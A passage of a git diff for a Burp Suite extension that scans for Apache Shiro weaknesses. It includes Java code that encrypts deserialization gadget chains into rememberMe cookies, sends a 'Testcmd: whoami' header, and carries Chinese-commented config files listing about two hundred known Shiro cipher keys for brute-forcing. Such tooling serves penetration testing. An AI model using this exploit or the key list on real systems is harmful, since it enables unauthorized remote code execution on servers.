Chrome/86.0.4240.198 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0", + "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" + }; + Random rand = new Random(); + int num = rand.nextInt(12); + + //修改header头 + List headers2 = new ArrayList<>(); + headers2.add(headers.get(0)); + headers2.add(headers.get(1)); + headers2.add("User-Agent: " + ua[num]); + headers2.add("Testcmd: whoami"); + + switch (selectGadget) { + case "k1": + if (Config.getMode()==0) { + rememberMe += en.cbc(Config.getKey().trim(), Base64.decode(CommonsCollectionsK1)); + } else { + rememberMe += en.gcm(Config.getKey().trim(), Base64.decode(CommonsCollectionsK1)); + } + break; + case "k2": + if (Config.getMode()==0) { + rememberMe += en.cbc(Config.getKey().trim(), Base64.decode(CommonsCollectionsK2)); + } else { + rememberMe += en.gcm(Config.getKey().trim(), Base64.decode(CommonsCollectionsK2)); + } + break; + case "cb1": + if (Config.getMode()==0) { + rememberMe += en.cbc(Config.getKey().trim(), Base64.decode(CommonsBeanutils1)); + } else { + rememberMe += en.gcm(Config.getKey().trim(), Base64.decode(CommonsBeanutils1)); + } + break; + case "cb2": + if (Config.getMode()==0) { + rememberMe += en.cbc(Config.getKey().trim(), Base64.decode(CommonsBeanutils2)); + } else { + rememberMe += en.gcm(Config.getKey().trim(), Base64.decode(CommonsBeanutils2)); + } + break; + case "Jdk7u21": + if (Config.getMode()==0) { + rememberMe += en.cbc(Config.getKey().trim(), Base64.decode(Jdk7u21)); + } else { + rememberMe += en.gcm(Config.getKey().trim(), Base64.decode(Jdk7u21)); + } + break; + case "Jdk8u20": + if (Config.getMode()==0) { + rememberMe += en.cbc(Config.getKey().trim(), Base64.decode(Jdk8u20)); + } else { + rememberMe += en.gcm(Config.getKey().trim(), Base64.decode(Jdk8u20)); + } + break; + default: + break; + } + headers2.add("Cookie: " + rememberMe); + headers2.add("Accept-Encoding: gzip"); + + + byte[] bytes = new byte[]{}; + bytes = BurpExtender.helpers.buildHttpMessage(headers2, body.getBytes()); + iReqResp.setRequest(bytes); + } + + static class SilentURLStreamHandler extends URLStreamHandler { + + protected URLConnection openConnection(URL u) throws IOException { + return null; + } + + protected synchronized InetAddress getHostAddress(URL u) { + return null; + } + } + +} diff --git a/src/main/resources/config.yml b/src/main/resources/config.yml new file mode 100644 index 0000000..a5c3efa --- /dev/null +++ b/src/main/resources/config.yml @@ -0,0 +1,410 @@ +# 插件启动项 +isStart: true + +# 消息等级 +# 用于插件扫描队列界面的显示 +# ALL = 显示所有消息 +# PIVOTAL = 只显示关键信息,只显示所有前缀带"[+]/[-]/[x]/[*]"的信息 +# 注: 乱输等于 PIVOTAL +messageLevel: "PIVOTAL" + +# 扫描配置 +scan: + # 站点扫描次数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次扫描 + siteScanNumber: 0 + # 域名扫描规则 + domainName: + # 域名黑名单 + # 注: 黑名单优先级最高 + # 注: 为空表示关闭该功能 + # 使用规则: + # 1. 过滤某个域名: www.domain1.com + # 2. 过滤某个域名的全部子域名: *.domain2.com + # 3. 过滤某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com + # 使用方法: + # blacklist: + # - "www.domain1.com" + # - "*.domain2.com" + blacklist: + - "*.dnslog.cn" + - "*.ceye.io" + - "*.fofa.so" + - "*.shodan.io" + - "*.github.com" + - "*.fofa.info" + - "*.nosec.org" + # 域名白名单 + # 注: 黑名单优先级最高 + # 注: 为空表示关闭该功能 + # 使用规则: + # 1. 只扫描某个域名: www.domain1.com + # 2. 只扫描某个域名的全部子域名: *.domain2.com + # 3. 只扫描某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com + # 使用方法: + # whitelist: + # - "www.domain1.com" + # - "*.domain2.com" + whitelist: + +# url黑名单后缀 +# url的后缀出现这些字段的都不进行测试 +urlBlackListSuffix: + config: + isStart: true + suffixList: + - "3g2" + - "3gp" + - "7z" + - "aac" + - "abw" + - "aif" + - "aifc" + - "aiff" + - "arc" + - "au" + - "avi" + - "azw" + - "bin" + - "bmp" + - "bz" + - "bz2" + - "cmx" + - "cod" + - "csh" + - "css" + - "csv" + - "doc" + - "docx" + - "eot" + - "epub" + - "gif" + - "gz" + - "ico" + - "ics" + - "ief" + - "jar" + - "jfif" + - "jpe" + - "jpeg" + - "jpg" + - "m3u" + - "mid" + - "midi" + - "mjs" + - "mp2" + - "mp3" + - "mpa" + - "mpe" + - "mpeg" + - "mpg" + - "mpkg" + - "mpp" + - "mpv2" + - "odp" + - "ods" + - "odt" + - "oga" + - "ogv" + - "ogx" + - "otf" + - "pbm" + - "pdf" + - "pgm" + - "png" + - "pnm" + - "ppm" + - "ppt" + - "pptx" + - "ra" + - "ram" + - "rar" + - "ras" + - "rgb" + - "rmi" + - "rtf" + - "snd" + - "svg" + - "swf" + - "tar" + - "tif" + - "tiff" + - "ttf" + - "vsd" + - "wav" + - "weba" + - "webm" + - "webp" + - "woff" + - "woff2" + - "xbm" + - "xls" + - "xlsx" + - "xpm" + - "xul" + - "xwd" + - "zip" + - "js" + - "wmv" + - "asf" + - "asx" + - "rm" + - "rmvb" + - "mp4" + - "mov" + - "m4v" + - "dat" + - "mkv" + - "flv" + - "vob" + - "txt" + - "php" + - "asp" + +# 应用程序配置 +application: + # shiro指纹扩展 + shiroFingerprintExtension: + config: + # shiro指纹问题数量 + # 表示可以接收同一个站点多少个问题个数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次接收 + issueNumber: 3 + # 问题名称 + issueName: "ShiroFramework" + # shiro加密key扩展 + shiroCipherKeyExtension: + config: + # 插件启动项 + isStart: true + # 用于判断是否扫描Cbc加密的问题 + isScanCbcEncrypt: true + # 用于判断是否扫描Gcm加密的问题 + isScanGcmEncrypt: true + # shiro加密key泄漏问题数量 + # 表示可以接收同一个站点多少个问题个数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次接收 + issueNumber: 1 + # 程序运行的最大线程总数 + # 最小值为1, 小于等于0, 会重置为1 + # 注意: + # 会自动根据输入的shiro加密key总数,来动态启动线程执行任务 + # 设置4的话,意思是最多可以开几个线程来执行任务的意思 + threadTotal: 4 + # 相似度比例 + # 1 = 100%, 0.7 = 70% + # 主要用来 shiro跑key请求 对比 原请求 与 必定错误key请求相似度 低于多少会被认为不存在该问题 + # 例如: + # shiro跑key请求 与 原请求 相似度低于0.7则认为不存在该问题 + # shiro跑key请求 与 必定错误key请求相似度 相似度低于0.7则认为不存在该问题 + similarityRatio: 0.7 + # 提供商 + # 声明使用 Application.ShiroCipherKeyExtension.ExtensionMethod 的哪个类,为该扩展提供服务 + provider: "ShiroCipherKeyScan" + # 问题名称 + issueName: "ShiroCipherKey" + payloads: + - "kPH+bIxk5D2deZiIxcaaaA==" + - "Z3VucwAAAAAAAAAAAAAAAA==" + - "wGiHplamyXlVB11UXWol8g==" + - "2AvVhdsgUs0FSA3SDFAdag==" + - "3AvVhmFLUs0KTA3Kprsdag==" + - "4AvVhmFLUs0KTA3Kprsdag==" + - "bWljcm9zAAAAAAAAAAAAAA==" + - "WcfHGU25gNnTxTlmJMeSpw==" + - "fCq+/xW488hMTCD+cmJ3aQ==" + - "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN" + - "6ZmI6I2j5Y+R5aSn5ZOlAA==" + - "1QWLxg+NYmxraMoxAXu/Iw==" + - "a2VlcE9uR29pbmdBbmRGaQ==" + - "5aaC5qKm5oqA5pyvAAAAAA==" + - "1AvVhdsgUs0FSA3SDFAdag==" + - "5RC7uBZLkByfFfJm22q/Zw==" + - "3AvVhdAgUs0FSA4SDFAdBg==" + - "a3dvbmcAAAAAAAAAAAAAAA==" + - "eXNmAAAAAAAAAAAAAAAAAA==" + - "U0hGX2d1bnMAAAAAAAAAAA==" + - "Ymx1ZXdoYWxlAAAAAAAAAA==" + - "L7RioUULEFhRyxM7a2R/Yg==" + - "UGlzMjAxNiVLeUVlXiEjLw==" + - "bWluZS1hc3NldC1rZXk6QQ==" + - "ZUdsaGJuSmxibVI2ZHc9PQ==" + - "7AvVhmFLUs0KTA3Kprsdag==" + - "MTIzNDU2Nzg5MGFiY2RlZg==" + - "OY//C4rhfwNxCQAQCrQQ1Q==" + - "bTBANVpaOUw0ampRWG43TVJFcF5iXjdJ" + - "FP7qKJzdJOGkzoQzo2wTmA==" + - "nhNhwZ6X7xzgXnnZBxWFQLwCGQtJojL3" + - "LEGEND-CAMPUS-CIPHERKEY==" + - "r0e3c16IdVkouZgk1TKVMg==" + - "ZWvohmPdUsAWT3=KpPqda" + - "k3+XHEg6D8tb2mGm7VJ3nQ==" + - "U3ByaW5nQmxhZGUAAAAAAA==" + - "tiVV6g3uZBGfgshesAQbjA==" + - "ZAvph3dsQs0FSL3SDFAdag==" + - "0AvVhmFLUs0KTA3Kprsdag==" + - "25BsmdYwjnfcWmnhAciDDg==" + - "3JvYhmBLUs0ETA5Kprsdag==" + - "5AvVhmFLUs0KTA3Kprsdag==" + - "6AvVhmFLUs0KTA3Kprsdag==" + - "6NfXkC7YVCV5DASIrEm1Rg==" + - "cmVtZW1iZXJNZQAAAAAAAA==" + - "8AvVhmFLUs0KTA3Kprsdag==" + - "8BvVhmFLUs0KTA3Kprsdag==" + - "9AvVhmFLUs0KTA3Kprsdag==" + - "OUHYQzxQ/W9e/UjiAGu6rg==" + - "aU1pcmFjbGVpTWlyYWNsZQ==" + - "bXRvbnMAAAAAAAAAAAAAAA==" + - "5J7bIJIV0LQSN3c9LPitBQ==" + - "bya2HkYo57u6fWh5theAWw==" + - "f/SY5TIve5WWzT4aQlABJA==" + - "WuB+y2gcHRnY2Lg9+Aqmqg==" + - "3qDVdLawoIr1xFd6ietnwg==" + - "YI1+nBV//m7ELrIyDHm6DQ==" + - "6Zm+6I2j5Y+R5aS+5ZOlAA==" + - "2A2V+RFLUs+eTA3Kpr+dag==" + - "6ZmI6I2j3Y+R1aSn5BOlAA==" + - "SkZpbmFsQmxhZGUAAAAAAA==" + - "2cVtiE83c4lIrELJwKGJUw==" + - "fsHspZw/92PrS3XrPW+vxw==" + - "XTx6CKLo/SdSgub+OPHSrw==" + - "sHdIjUN6tzhl8xZMG3ULCQ==" + - "O4pdf+7e+mZe8NyxMTPJmQ==" + - "HWrBltGvEZc14h9VpMvZWw==" + - "rPNqM6uKFCyaL10AK51UkQ==" + - "Y1JxNSPXVwMkyvES/kJGeQ==" + - "lT2UvDUmQwewm6mMoiw4Ig==" + - "MPdCMZ9urzEA50JDlDYYDg==" + - "xVmmoltfpb8tTceuT5R7Bw==" + - "c+3hFGPjbgzGdrC+MHgoRQ==" + - "ClLk69oNcA3m+s0jIMIkpg==" + - "Bf7MfkNR0axGGptozrebag==" + - "1tC/xrDYs8ey+sa3emtiYw==" + - "ZmFsYWRvLnh5ei5zaGlybw==" + - "cGhyYWNrY3RmREUhfiMkZA==" + - "IduElDUpDDXE677ZkhhKnQ==" + - "yeAAo1E8BOeAYfBlm4NG9Q==" + - "cGljYXMAAAAAAAAAAAAAAA==" + - "2itfW92XazYRi5ltW0M2yA==" + - "XgGkgqGqYrix9lI6vxcrRw==" + - "ertVhmFLUs0KTA3Kprsdag==" + - "5AvVhmFLUS0ATA4Kprsdag==" + - "s0KTA3mFLUprK4AvVhsdag==" + - "hBlzKg78ajaZuTE0VLzDDg==" + - "9FvVhtFLUs0KnA3Kprsdyg==" + - "d2ViUmVtZW1iZXJNZUtleQ==" + - "yNeUgSzL/CfiWw1GALg6Ag==" + - "NGk/3cQ6F5/UNPRh8LpMIg==" + - "4BvVhmFLUs0KTA3Kprsdag==" + - "MzVeSkYyWTI2OFVLZjRzZg==" + - "CrownKey==a12d/dakdad" + - "empodDEyMwAAAAAAAAAAAA==" + - "A7UzJgh1+EWj5oBFi+mSgw==" + - "c2hpcm9fYmF0aXMzMgAAAA==" + - "i45FVt72K2kLgvFrJtoZRw==" + - "66v1O8keKNV3TTcGPK1wzg==" + - "U3BAbW5nQmxhZGUAAAAAAA==" + - "ZnJlc2h6Y24xMjM0NTY3OA==" + - "Jt3C93kMR9D5e8QzwfsiMw==" + - "MTIzNDU2NzgxMjM0NTY3OA==" + - "vXP33AonIp9bFwGl7aT7rA==" + - "V2hhdCBUaGUgSGVsbAAAAA==" + - "Q01TX0JGTFlLRVlfMjAxOQ==" + - "Is9zJ3pzNh2cgTHB4ua3+Q==" + - "SDKOLKn2J1j/2BHjeZwAoQ==" + - "NsZXjXVklWPZwOfkvk6kUA==" + - "GAevYnznvgNCURavBhCr1w==" + - "zSyK5Kp6PZAAjlT+eeNMlg==" + - "bXdrXl9eNjY2KjA3Z2otPQ==" + - "RVZBTk5JR0hUTFlfV0FPVQ==" + - "WkhBTkdYSUFPSEVJX0NBVA==" + - "GsHaWo4m1eNbE0kNSMULhg==" + - "l8cc6d2xpkT1yFtLIcLHCg==" + - "KU471rVNQ6k7PQL4SqxgJg==" + - "kPH+bIxk5D2deZiIxcabaA==" + - "kPH+bIxk5D2deZiIxcacaA==" + - "4AvVhdsgUs0F563SDFAdag==" + - "FL9HL9Yu5bVUJ0PDU1ySvg==" + - "fdCEiK9YvLC668sS43CJ6A==" + - "FJoQCiz0z5XWz2N2LyxNww==" + - "HeUZ/LvgkO7nsa18ZyVxWQ==" + - "HoTP07fJPKIRLOWoVXmv+Q==" + - "iycgIIyCatQofd0XXxbzEg==" + - "m0/5ZZ9L4jjQXn7MREr/bw==" + - "NoIw91X9GSiCrLCF03ZGZw==" + - "oPH+bIxk5E2enZiIxcqaaA==" + - "QAk0rp8sG0uJC4Ke2baYNA==" + - "Rb5RN+LofDWJlzWAwsXzxg==" + - "s2SE9y32PvLeYo+VGFpcKA==" + - "SrpFBcVD89eTQ2icOD0TMg==" + - "Us0KvVhTeasAm43KFLAeng==" + - "YWJjZGRjYmFhYmNkZGNiYQ==" + - "zIiHplamyXlVB11UXWol8g==" + - "ZjQyMTJiNTJhZGZmYjFjMQ==" + - "2adsfasdqerqerqewradsf==" + - "2AvVCXsxUs0FSA7SYFjdQg==" + - "2AvVhdsgERdsSA3SDFAdag==" + - "2AvVhdsgUs0FSA3SaFAdfg==" + - "2AvVhdsgUs0FSA3SDFAder==" + - "2AvVhdsgUsOFSA3SDFAdag==" + - "2AvVhmFLUs0KTA3Kprsdag==" + - "2AvVidsaUSofSA3SDFAdog==" + - "3Av2hmFLAs0BTA3Kprsd6E==" + - "3AvVhdAgUs1FSA4SDFAdBg==" + - "3AvVhMFLIs0KTA3Kprsdag==" + - "3AvVhmFLUs0KTA3KaTHGFg==" + - "3qDVdLawoIr1xFd6ietnsg==" + - "3rvVhmFLUs0KAT3Kprsdag==" + - "4AvVhm2LUs0KTA3Kprsdag==" + - "4AvVhmFLUs0KTA3KAAAAAA==" + - "4AvVhmFLUs0KTA3Kprseaf==" + - "4AvVhmFLUs0TTA3Kprsdag==" + - "4AvVhmFLUs5KTA1Kprsdag==" + - "4AvVhmFLUsOKTA3Kprsdag==" + - "4rvVhmFLUs0KAT3Kprsdag==" + - "4WCZSJyqdUQsije93aQIRg==" + - "5AvVhCsgUs0FSA3SDFAdag==" + - "5oiR5piv5p2h5ZK46bG8IQ==" + - "8AvVhdsgUs0FSA3SDFAdag==" + - "9Ami6v2G5Y+r5aPnE4OlBB==" + - "9AVvhnFLuS3KTV8KprsdAg==" + - "AF05JAuyuEB1ouJQ9Y9Phg==" + - "aG91c2Vob3VzZWhvdXNlMg==" + - "A+kWR7o9O0/G/W6aOGesRA==" + - "AztiX2RUqhc7dhOzl1Mj8Q==" + - "b2EAAAAAAAAAAAAAAAAAAA==" + - "B9rPF8FHhxKJZ9k63ik7kQ==" + - "c2hvdWtlLXBsdXMuMjAxNg==" + - "Cj6LnKZNLEowAZrdqyH/Ew==" + - "duhfin37x6chw29jsne45m==" + - "fCq+/xW488hMTCE+cmJ3FF==" + - "FjbNm1avvGmWE9CY2HqV75==" + - "GhrF5zLfq1Dtadd1jlohhA==" + - "GHxH6G3LFh8Zb3NwoRgfFA==" + - "HOlg7NHb9potm0n5s4ic0Q==" + - "lt181dcQVz/Bo9Wb8ws/Cg==" + - "M2djA70UBBUPDibGZBRvrA==" + - "mIccZhQt6EBHrZIyw1FAXQ==" + - "pbnA+Qzen1vjV3rNqQBLHg==" + - "pyyX1c5x2f0LZZ7VKZXjKO==" + - "QDFCnfkLUs0KTA3Kprsdag==" + - "QF5HMyZAWDZYRyFnSGhTdQ==" + - "qQFtSnnj/sx7vu51ixAyEQ==" + - "QUxQSEFNWVNPRlRCVUlMRA==" + - "QVN1bm5uJ3MgU3Vuc2l0ZQ==" + - "R29yZG9uV2ViAAAAAAAAAA==" + - "sBv2t3okbdm3U0r2EVcSzB==" + - "sgIQrqUVxa1OZRRIK3hLZw==" + - "TGMPe7lGO/Gbr38QiJu1/w==" + - "w793pPq5ZVBKkj8OhV4KaQ==" + - "wrjUh2ttBPQLnT4JVhriug==" + - "wyLZMDifwq3sW1vhhHpgKA==" + - "YnlhdnMAAAAAAAAAAAAAAA==" + - "YVd4dmRtVjViM1UlM0QIdn==" + - "YWdlbnRAZG1AMjAxOHN3Zg==" + - "YystomRZLMUjiK0Q1+LFdw==" + - "Z3VucwAAAAAAAAAAAAABBB==" + - "Z3VucwACAOVAKALACAADSA==" \ No newline at end of file diff --git a/target/BurpShiroPassiveScan-2.0.0.jar b/target/BurpShiroPassiveScan-2.0.0.jar new file mode 100644 index 0000000..11e86ad Binary files /dev/null and b/target/BurpShiroPassiveScan-2.0.0.jar differ diff --git a/target/BurpShiroPassiveScan.rar b/target/BurpShiroPassiveScan.rar new file mode 100644 index 0000000..a49cc69 Binary files /dev/null and b/target/BurpShiroPassiveScan.rar differ diff --git a/target/BurpShiroPassiveScan/BurpShiroPassiveScan.jar b/target/BurpShiroPassiveScan/BurpShiroPassiveScan.jar new file mode 100644 index 0000000..291ad81 Binary files /dev/null and b/target/BurpShiroPassiveScan/BurpShiroPassiveScan.jar differ diff --git a/target/BurpShiroPassiveScan/resources/config.yml b/target/BurpShiroPassiveScan/resources/config.yml new file mode 100644 index 0000000..a5c3efa --- /dev/null +++ b/target/BurpShiroPassiveScan/resources/config.yml @@ -0,0 +1,410 @@ +# 插件启动项 +isStart: true + +# 消息等级 +# 用于插件扫描队列界面的显示 +# ALL = 显示所有消息 +# PIVOTAL = 只显示关键信息,只显示所有前缀带"[+]/[-]/[x]/[*]"的信息 +# 注: 乱输等于 PIVOTAL +messageLevel: "PIVOTAL" + +# 扫描配置 +scan: + # 站点扫描次数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次扫描 + siteScanNumber: 0 + # 域名扫描规则 + domainName: + # 域名黑名单 + # 注: 黑名单优先级最高 + # 注: 为空表示关闭该功能 + # 使用规则: + # 1. 过滤某个域名: www.domain1.com + # 2. 过滤某个域名的全部子域名: *.domain2.com + # 3. 过滤某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com + # 使用方法: + # blacklist: + # - "www.domain1.com" + # - "*.domain2.com" + blacklist: + - "*.dnslog.cn" + - "*.ceye.io" + - "*.fofa.so" + - "*.shodan.io" + - "*.github.com" + - "*.fofa.info" + - "*.nosec.org" + # 域名白名单 + # 注: 黑名单优先级最高 + # 注: 为空表示关闭该功能 + # 使用规则: + # 1. 只扫描某个域名: www.domain1.com + # 2. 只扫描某个域名的全部子域名: *.domain2.com + # 3. 只扫描某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com + # 使用方法: + # whitelist: + # - "www.domain1.com" + # - "*.domain2.com" + whitelist: + +# url黑名单后缀 +# url的后缀出现这些字段的都不进行测试 +urlBlackListSuffix: + config: + isStart: true + suffixList: + - "3g2" + - "3gp" + - "7z" + - "aac" + - "abw" + - "aif" + - "aifc" + - "aiff" + - "arc" + - "au" + - "avi" + - "azw" + - "bin" + - "bmp" + - "bz" + - "bz2" + - "cmx" + - "cod" + - "csh" + - "css" + - "csv" + - "doc" + - "docx" + - "eot" + - "epub" + - "gif" + - "gz" + - "ico" + - "ics" + - "ief" + - "jar" + - "jfif" + - "jpe" + - "jpeg" + - "jpg" + - "m3u" + - "mid" + - "midi" + - "mjs" + - "mp2" + - "mp3" + - "mpa" + - "mpe" + - "mpeg" + - "mpg" + - "mpkg" + - "mpp" + - "mpv2" + - "odp" + - "ods" + - "odt" + - "oga" + - "ogv" + - "ogx" + - "otf" + - "pbm" + - "pdf" + - "pgm" + - "png" + - "pnm" + - "ppm" + - "ppt" + - "pptx" + - "ra" + - "ram" + - "rar" + - "ras" + - "rgb" + - "rmi" + - "rtf" + - "snd" + - "svg" + - "swf" + - "tar" + - "tif" + - "tiff" + - "ttf" + - "vsd" + - "wav" + - "weba" + - "webm" + - "webp" + - "woff" + - "woff2" + - "xbm" + - "xls" + - "xlsx" + - "xpm" + - "xul" + - "xwd" + - "zip" + - "js" + - "wmv" + - "asf" + - "asx" + - "rm" + - "rmvb" + - "mp4" + - "mov" + - "m4v" + - "dat" + - "mkv" + - "flv" + - "vob" + - "txt" + - "php" + - "asp" + +# 应用程序配置 +application: + # shiro指纹扩展 + shiroFingerprintExtension: + config: + # shiro指纹问题数量 + # 表示可以接收同一个站点多少个问题个数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次接收 + issueNumber: 3 + # 问题名称 + issueName: "ShiroFramework" + # shiro加密key扩展 + shiroCipherKeyExtension: + config: + # 插件启动项 + isStart: true + # 用于判断是否扫描Cbc加密的问题 + isScanCbcEncrypt: true + # 用于判断是否扫描Gcm加密的问题 + isScanGcmEncrypt: true + # shiro加密key泄漏问题数量 + # 表示可以接收同一个站点多少个问题个数 + # 超过次数以后就不在对该站点进行扫描了 + # 0 表示无限次接收 + issueNumber: 1 + # 程序运行的最大线程总数 + # 最小值为1, 小于等于0, 会重置为1 + # 注意: + # 会自动根据输入的shiro加密key总数,来动态启动线程执行任务 + # 设置4的话,意思是最多可以开几个线程来执行任务的意思 + threadTotal: 4 + # 相似度比例 + # 1 = 100%, 0.7 = 70% + # 主要用来 shiro跑key请求 对比 原请求 与 必定错误key请求相似度 低于多少会被认为不存在该问题 + # 例如: + # shiro跑key请求 与 原请求 相似度低于0.7则认为不存在该问题 + # shiro跑key请求 与 必定错误key请求相似度 相似度低于0.7则认为不存在该问题 + similarityRatio: 0.7 + # 提供商 + # 声明使用 Application.ShiroCipherKeyExtension.ExtensionMethod 的哪个类,为该扩展提供服务 + provider: "ShiroCipherKeyScan" + # 问题名称 + issueName: "ShiroCipherKey" + payloads: + - "kPH+bIxk5D2deZiIxcaaaA==" + - "Z3VucwAAAAAAAAAAAAAAAA==" + - "wGiHplamyXlVB11UXWol8g==" + - "2AvVhdsgUs0FSA3SDFAdag==" + - "3AvVhmFLUs0KTA3Kprsdag==" + - "4AvVhmFLUs0KTA3Kprsdag==" + - "bWljcm9zAAAAAAAAAAAAAA==" + - "WcfHGU25gNnTxTlmJMeSpw==" + - "fCq+/xW488hMTCD+cmJ3aQ==" + - "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN" + - "6ZmI6I2j5Y+R5aSn5ZOlAA==" + - "1QWLxg+NYmxraMoxAXu/Iw==" + - "a2VlcE9uR29pbmdBbmRGaQ==" + - "5aaC5qKm5oqA5pyvAAAAAA==" + - "1AvVhdsgUs0FSA3SDFAdag==" + - "5RC7uBZLkByfFfJm22q/Zw==" + - "3AvVhdAgUs0FSA4SDFAdBg==" + - "a3dvbmcAAAAAAAAAAAAAAA==" + - "eXNmAAAAAAAAAAAAAAAAAA==" + - "U0hGX2d1bnMAAAAAAAAAAA==" + - "Ymx1ZXdoYWxlAAAAAAAAAA==" + - "L7RioUULEFhRyxM7a2R/Yg==" + - "UGlzMjAxNiVLeUVlXiEjLw==" + - "bWluZS1hc3NldC1rZXk6QQ==" + - "ZUdsaGJuSmxibVI2ZHc9PQ==" + - "7AvVhmFLUs0KTA3Kprsdag==" + - "MTIzNDU2Nzg5MGFiY2RlZg==" + - "OY//C4rhfwNxCQAQCrQQ1Q==" + - "bTBANVpaOUw0ampRWG43TVJFcF5iXjdJ" + - "FP7qKJzdJOGkzoQzo2wTmA==" + - "nhNhwZ6X7xzgXnnZBxWFQLwCGQtJojL3" + - "LEGEND-CAMPUS-CIPHERKEY==" + - "r0e3c16IdVkouZgk1TKVMg==" + - "ZWvohmPdUsAWT3=KpPqda" + - "k3+XHEg6D8tb2mGm7VJ3nQ==" + - "U3ByaW5nQmxhZGUAAAAAAA==" + - "tiVV6g3uZBGfgshesAQbjA==" + - "ZAvph3dsQs0FSL3SDFAdag==" + - "0AvVhmFLUs0KTA3Kprsdag==" + - "25BsmdYwjnfcWmnhAciDDg==" + - "3JvYhmBLUs0ETA5Kprsdag==" + - "5AvVhmFLUs0KTA3Kprsdag==" + - "6AvVhmFLUs0KTA3Kprsdag==" + - "6NfXkC7YVCV5DASIrEm1Rg==" + - "cmVtZW1iZXJNZQAAAAAAAA==" + - "8AvVhmFLUs0KTA3Kprsdag==" + - "8BvVhmFLUs0KTA3Kprsdag==" + - "9AvVhmFLUs0KTA3Kprsdag==" + - "OUHYQzxQ/W9e/UjiAGu6rg==" + - "aU1pcmFjbGVpTWlyYWNsZQ==" + - "bXRvbnMAAAAAAAAAAAAAAA==" + - "5J7bIJIV0LQSN3c9LPitBQ==" + - "bya2HkYo57u6fWh5theAWw==" + - "f/SY5TIve5WWzT4aQlABJA==" + - "WuB+y2gcHRnY2Lg9+Aqmqg==" + - "3qDVdLawoIr1xFd6ietnwg==" + - "YI1+nBV//m7ELrIyDHm6DQ==" + - "6Zm+6I2j5Y+R5aS+5ZOlAA==" + - "2A2V+RFLUs+eTA3Kpr+dag==" + - "6ZmI6I2j3Y+R1aSn5BOlAA==" + - "SkZpbmFsQmxhZGUAAAAAAA==" + - "2cVtiE83c4lIrELJwKGJUw==" + - "fsHspZw/92PrS3XrPW+vxw==" + - "XTx6CKLo/SdSgub+OPHSrw==" + - "sHdIjUN6tzhl8xZMG3ULCQ==" + - "O4pdf+7e+mZe8NyxMTPJmQ==" + - "HWrBltGvEZc14h9VpMvZWw==" + - "rPNqM6uKFCyaL10AK51UkQ==" + - "Y1JxNSPXVwMkyvES/kJGeQ==" + - "lT2UvDUmQwewm6mMoiw4Ig==" + - "MPdCMZ9urzEA50JDlDYYDg==" + - "xVmmoltfpb8tTceuT5R7Bw==" + - "c+3hFGPjbgzGdrC+MHgoRQ==" + - "ClLk69oNcA3m+s0jIMIkpg==" + - "Bf7MfkNR0axGGptozrebag==" + - "1tC/xrDYs8ey+sa3emtiYw==" + - "ZmFsYWRvLnh5ei5zaGlybw==" + - "cGhyYWNrY3RmREUhfiMkZA==" + - "IduElDUpDDXE677ZkhhKnQ==" + - "yeAAo1E8BOeAYfBlm4NG9Q==" + - "cGljYXMAAAAAAAAAAAAAAA==" + - "2itfW92XazYRi5ltW0M2yA==" + - "XgGkgqGqYrix9lI6vxcrRw==" + - "ertVhmFLUs0KTA3Kprsdag==" + - "5AvVhmFLUS0ATA4Kprsdag==" + - "s0KTA3mFLUprK4AvVhsdag==" + - "hBlzKg78ajaZuTE0VLzDDg==" + - "9FvVhtFLUs0KnA3Kprsdyg==" + - "d2ViUmVtZW1iZXJNZUtleQ==" + - "yNeUgSzL/CfiWw1GALg6Ag==" + - "NGk/3cQ6F5/UNPRh8LpMIg==" + - "4BvVhmFLUs0KTA3Kprsdag==" + - "MzVeSkYyWTI2OFVLZjRzZg==" + - "CrownKey==a12d/dakdad" + - "empodDEyMwAAAAAAAAAAAA==" + - "A7UzJgh1+EWj5oBFi+mSgw==" + - "c2hpcm9fYmF0aXMzMgAAAA==" + - "i45FVt72K2kLgvFrJtoZRw==" + - "66v1O8keKNV3TTcGPK1wzg==" + - "U3BAbW5nQmxhZGUAAAAAAA==" + - "ZnJlc2h6Y24xMjM0NTY3OA==" + - "Jt3C93kMR9D5e8QzwfsiMw==" + - "MTIzNDU2NzgxMjM0NTY3OA==" + - "vXP33AonIp9bFwGl7aT7rA==" + - "V2hhdCBUaGUgSGVsbAAAAA==" + - "Q01TX0JGTFlLRVlfMjAxOQ==" + - "Is9zJ3pzNh2cgTHB4ua3+Q==" + - "SDKOLKn2J1j/2BHjeZwAoQ==" + - "NsZXjXVklWPZwOfkvk6kUA==" + - "GAevYnznvgNCURavBhCr1w==" + - "zSyK5Kp6PZAAjlT+eeNMlg==" + - "bXdrXl9eNjY2KjA3Z2otPQ==" + - "RVZBTk5JR0hUTFlfV0FPVQ==" + - "WkhBTkdYSUFPSEVJX0NBVA==" + - "GsHaWo4m1eNbE0kNSMULhg==" + - "l8cc6d2xpkT1yFtLIcLHCg==" + - "KU471rVNQ6k7PQL4SqxgJg==" + - "kPH+bIxk5D2deZiIxcabaA==" + - "kPH+bIxk5D2deZiIxcacaA==" + - "4AvVhdsgUs0F563SDFAdag==" + - "FL9HL9Yu5bVUJ0PDU1ySvg==" + - "fdCEiK9YvLC668sS43CJ6A==" + - "FJoQCiz0z5XWz2N2LyxNww==" + - "HeUZ/LvgkO7nsa18ZyVxWQ==" + - "HoTP07fJPKIRLOWoVXmv+Q==" + - "iycgIIyCatQofd0XXxbzEg==" + - "m0/5ZZ9L4jjQXn7MREr/bw==" + - "NoIw91X9GSiCrLCF03ZGZw==" + - "oPH+bIxk5E2enZiIxcqaaA==" + - "QAk0rp8sG0uJC4Ke2baYNA==" + - "Rb5RN+LofDWJlzWAwsXzxg==" + - "s2SE9y32PvLeYo+VGFpcKA==" + - "SrpFBcVD89eTQ2icOD0TMg==" + - "Us0KvVhTeasAm43KFLAeng==" + - "YWJjZGRjYmFhYmNkZGNiYQ==" + - "zIiHplamyXlVB11UXWol8g==" + 